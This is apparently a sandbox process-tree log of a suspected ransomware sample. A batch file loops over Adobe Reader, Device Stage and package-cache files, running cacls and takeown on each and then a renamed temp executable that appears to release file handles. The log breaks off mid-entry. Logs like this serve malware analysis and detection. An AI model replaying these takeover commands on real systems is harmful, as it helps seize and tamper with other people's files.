C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "behavior.xml" -nobanner4⤵PID:1292
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1816
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml""2⤵PID:236
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml" /E /G Admin:F /C3⤵PID:568
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\fr-FR\resource.xml"3⤵
- Modifies file permissions
PID:564
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:296
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1756
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2004
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml""2⤵PID:1396
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml" /E /G Admin:F /C3⤵PID:1592
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\ja-JP\resource.xml"3⤵PID:2024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1520
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1136
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2032
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html""2⤵PID:1768
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html" /E /G Admin:F /C3⤵PID:228
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html"3⤵PID:112
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "license.html" -nobanner3⤵PID:960
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "license.html" -nobanner4⤵PID:1672
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1348
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵PID:540
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵PID:1860
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵PID:1292
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "background.png" -nobanner3⤵PID:2012
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "background.png" -nobanner4⤵PID:1816
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:832
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml""2⤵PID:1104
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml" /E /G Admin:F /C3⤵PID:564
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml"3⤵PID:1756
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:208
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:2004
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:236
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml""2⤵PID:1448
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml" /E /G Admin:F /C3⤵PID:1320
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml"3⤵PID:684
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1500
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1772
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1784
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵PID:1992
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵PID:1516
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
- Modifies file permissions
PID:960
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "background.png" -nobanner3⤵PID:1096
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "background.png" -nobanner4⤵PID:740
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1248
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""2⤵PID:712
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C3⤵PID:1536
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"3⤵
- Modifies file permissions
PID:1780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "tasks.xml" -nobanner3⤵PID:1512
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "tasks.xml" -nobanner4⤵PID:832
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:540
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat""2⤵PID:568
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat" /E /G Admin:F /C3⤵PID:1756
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat"3⤵PID:2004
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "qmgr0.dat" -nobanner3⤵PID:208
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "qmgr0.dat" -nobanner4⤵PID:1376
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:996
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵PID:2028
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵PID:1520
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Modifies file permissions
PID:1048
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "watermark.png" -nobanner3⤵PID:2032
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "watermark.png" -nobanner4⤵PID:1456
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1200
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""2⤵PID:2024
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:1684
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"3⤵PID:216
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1348
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1112
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:112
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif""2⤵PID:1964
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif" /E /G Admin:F /C3⤵PID:2012
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\add_reviewer.gif"3⤵
- Modifies file permissions
PID:1596
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "add_reviewer.gif" -nobanner3⤵PID:2000
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "add_reviewer.gif" -nobanner4⤵PID:920
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:592
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif""2⤵PID:1292
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif" /E /G Admin:F /C3⤵PID:1544
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_received.gif"3⤵PID:236
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "forms_received.gif" -nobanner3⤵PID:1000
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "forms_received.gif" -nobanner4⤵PID:1988
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:296
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif""2⤵PID:224
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif" /E /G Admin:F /C3⤵PID:1772
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_super.gif"3⤵PID:1460
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "reviews_super.gif" -nobanner3⤵PID:1500
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "reviews_super.gif" -nobanner4⤵PID:1448
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:212
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif""2⤵PID:1320
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif" /E /G Admin:F /C3⤵PID:740
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif"3⤵PID:1052
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "submission_history.gif" -nobanner3⤵PID:1096
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "submission_history.gif" -nobanner4⤵PID:1992
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1516
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H""2⤵PID:1672
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H" /E /G Admin:F /C3⤵PID:832
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H"3⤵PID:1068
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "Identity-H" -nobanner3⤵PID:2000
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "Identity-H" -nobanner4⤵PID:1148
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:228
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf""2⤵PID:972
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf" /E /G Admin:F /C3⤵PID:236
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-Regular.otf"3⤵PID:1988
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MinionPro-Regular.otf" -nobanner3⤵PID:1000
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MinionPro-Regular.otf" -nobanner4⤵PID:220
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1860
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB""2⤵PID:564
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB" /E /G Admin:F /C3⤵PID:1460
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB"3⤵PID:1448
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "ZY______.PFB" -nobanner3⤵PID:1500
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "ZY______.PFB" -nobanner4⤵PID:1592
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1264
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx""2⤵PID:1268
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx" /E /G Admin:F /C3⤵PID:1052
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt32.clx"3⤵PID:1992
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "brt32.clx" -nobanner3⤵PID:1096
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "brt32.clx" -nobanner4⤵PID:1508
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1136
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca""2⤵PID:1252
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca" /E /G Admin:F /C3⤵PID:920
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca"3⤵
- Modifies file permissions
PID:592
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "usa.fca" -nobanner3⤵PID:712
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "usa.fca" -nobanner4⤵PID:1280
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1876
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT""2⤵PID:2012
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT" /E /G Admin:F /C3⤵PID:208
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CROATIAN.TXT"3⤵PID:296
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CROATIAN.TXT" -nobanner3⤵PID:568
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CROATIAN.TXT" -nobanner4⤵PID:1756
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1544
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT""2⤵PID:1376
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT" /E /G Admin:F /C3⤵PID:2032
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT"3⤵
- Modifies file permissions
PID:212
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CP1251.TXT" -nobanner3⤵PID:2028
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CP1251.TXT" -nobanner4⤵PID:1396
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1772
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵PID:564
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵PID:1348
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵
- Modifies file permissions
PID:1516
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "background.png" -nobanner3⤵PID:2024
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "background.png" -nobanner4⤵PID:1684
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:740
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml""2⤵PID:1112
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml" /E /G Admin:F /C3⤵PID:1148
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\es-ES\resource.xml"3⤵
- Modifies file permissions
PID:1280
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1672
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1876
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1252
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml""2⤵PID:1104
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml" /E /G Admin:F /C3⤵PID:1860
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\it-IT\resource.xml"3⤵PID:1000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:972
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1544
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2012
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\cab1.cab""2⤵PID:1404
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\cab1.cab" /E /G Admin:F /C3⤵PID:1264
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Package Cache\{BF08E976-B92E-4336-B56F-2171179476C4}v14.30.30704\packages\vcRuntimeAdditional_x86\cab1.cab"3⤵PID:1500
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "cab1.cab" -nobanner3⤵PID:1456
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "cab1.cab" -nobanner4⤵PID:1460
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1200
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif""2⤵PID:960
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif" /E /G Admin:F /C3⤵PID:1320
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\br.gif"3⤵
- Modifies file permissions
PID:2024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "br.gif" -nobanner3⤵PID:1768
-
